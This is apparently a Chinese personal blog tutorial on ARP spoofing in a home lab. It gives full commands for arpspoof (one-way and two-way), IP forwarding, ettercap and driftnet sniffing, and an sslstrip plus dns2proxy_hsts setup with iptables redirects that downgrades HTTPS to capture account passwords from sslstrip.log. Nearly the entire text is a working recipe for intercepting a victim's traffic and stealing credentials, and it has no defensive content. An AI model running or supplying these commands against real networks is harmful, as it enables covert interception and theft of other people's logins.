【arp欺骗】2021.7.23 瞎折腾

本文最后更新于:2021年8月18日下午1点41分

准备工作(安装):

kali安装arpspoof

因为 arpspoof 是 dsniff 的一个附属工具,所以我们需要安装的是 dsniff :

1
apt-get install dsniff

用法:

  • i参数:用来指定网卡名称,可以使用ifconfig命令来查看网卡名称。

  • c参数:用来恢复受害者主机的ARP缓存表。

  • t参数:用来指定目标主机即受害者IP。

  • host:将要伪装的主机IP。

  • r参数:使用该选项代表双向欺骗。

arpspoof的-c参数

如果-c参数为own,在退出时使用本机MAC地址作为以太网头部的SRC发送给受害者主机以恢复其ARP缓存表,即告诉受害者主机正确的网关MAC地址。

driftnet的中文使用教程

语法 : driftnet [options] [filter code]

主要参数:

  • -b 捕获到新的图片时发出嘟嘟声

  • -i interface 选择监听接口

  • -f file 读取一个指定pcap数据包中的图片

  • -p 不让所监听的接口使用混杂模式

  • -a 后台模式:将捕获的图片保存到目录中(不会显示在屏幕上)

  • -m number 指定保存图片数的数目

  • -d directory 指定保存图片的路径

  • -x prefix 指定保存图片的前缀名

使用举例:

实时监听: driftnet -i eth0

嗅探HTTP网站账号密码

环境介绍:

攻击机(kali):192.168.2.128

受害机(win7):192.168.2.150

网关:192.168.2.2

单向欺骗:

1
arpspoof -i eth0 -t 192.168.2.150 192.168.2.2

双向欺骗:

1
arpspoof -i eth0 -t 192.168.2.150 -r 192.168.2.2

流量转发:

1
echo 1 > /proc/sys/net/ipv4/ip_forward

嗅探获取账号密码(HTTP):

1
ettercap -Tq -i eth0

T代表命令行界面而非GUI显示,q代表不显示数据包内容,i指定监听网卡。

sslstrip+dns2proxy_hsts嗅探HTTPS网站帐号密码

参考资料:

先把工具的链接奉上:

sslstrip:Kali下自带;如果是其他Linux版本,使用sudo apt install sslstrip命令安装即可。

sslstrip2 :作者因为某些原因删掉了原来的代码,这是我在另一处找到的。(你也可以选择使用sslstrip)

dns2proxy_hsts

嗅探HTTPS网站的帐号密码的思想就是将HTTPS降成HTTP,之后再嗅探HTTP网站的帐号密码。

安装sslstrip

如果apt里无法安装,用git

1
git clone https://github.com/moxie0/sslstrip.git
1
cd sslstrip
1
python setup.py install 

尝试执行

1
sslstrip -h

若发生以下错误:

image-20210723180413060

执行:

1
pip install twisted

若发生以下错误:

image-20210723180452251

执行:

1
pip install pyOpenSSL

dns2proxy安装

1
git clone https://github.com/LeonardoNve/dns2proxy_hsts
1
cd dns2proxy_hsts/
1
sudo pip install dnspython

攻击

安装完成后,在attacker本机上进行端口映射

1
2
3
4
5
iptables --flush
iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8888
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
#前2条命令是在做清理工作,后2条命令才是进行端口映射

之后到dns2proxy_hsts目录下,执行

1
python2 dns2proxy.py

然后再打开一个终端

1
sslstrip -l 8888 -a

最后执行arp双向欺骗

使用tail命令持续刷新显示sslstrip.log文件的新内容:

1
tail -f sslstrip.log